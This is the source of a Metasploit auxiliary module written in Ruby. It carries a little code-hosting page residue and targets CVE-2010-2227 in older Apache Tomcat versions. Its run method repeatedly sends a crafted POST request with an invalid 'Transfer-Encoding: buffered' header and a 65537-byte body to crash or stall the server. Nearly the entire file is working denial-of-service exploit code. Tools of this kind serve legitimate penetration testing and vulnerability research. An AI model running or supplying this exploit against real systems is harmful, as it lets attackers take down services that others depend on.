71 lines
2.3 KiB
Ruby
71 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Tomcat Transfer-Encoding Information Disclosure and DoS',
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'Description' => %q{
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Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not
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properly handle an invalid Transfer-Encoding header, which allows remote attackers
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to cause a denial of service (application outage) or obtain sensitive information
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via a crafted header that interferes with "recycling of a buffer."
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},
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'Author' =>
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[
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'Steve Jones', # original discoverer
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'Hoagie <andi[at]void.at>', # original public exploit
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'Paulino Calderon <calderon[at]websec.mx>', # metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-2227' ],
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[ 'OSVDB', '66319' ],
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[ 'BID', '41544' ]
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],
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'DisclosureDate' => 'Jul 09 2010'))
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register_options(
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[
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Opt::RPORT(8000),
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 25])
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], self.class)
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end
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def run
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for x in 1..datastore['RLIMIT']
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begin
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connect
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print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
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sploit = "POST / HTTP/1.1\r\n"
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sploit << "Host: " + rhost + "\r\n"
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sploit << "Transfer-Encoding: buffered\r\n"
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sploit << "Content-Length: 65537\r\n\r\n"
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sploit << Rex::Text.rand_text_alpha(1) * 65537
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sock.put(sploit + "\r\n\r\n")
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disconnect
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print_status("DoS packet unsuccessful.")
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rescue ::Rex::ConnectionRefused
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print_status("Unable to connect to #{rhost}:#{rport}.")
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rescue ::Errno::ECONNRESET
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print_status("DoS packet successful. #{rhost} not responding.")
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_status("Couldn't connect to #{rhost}:#{rport}")
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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end
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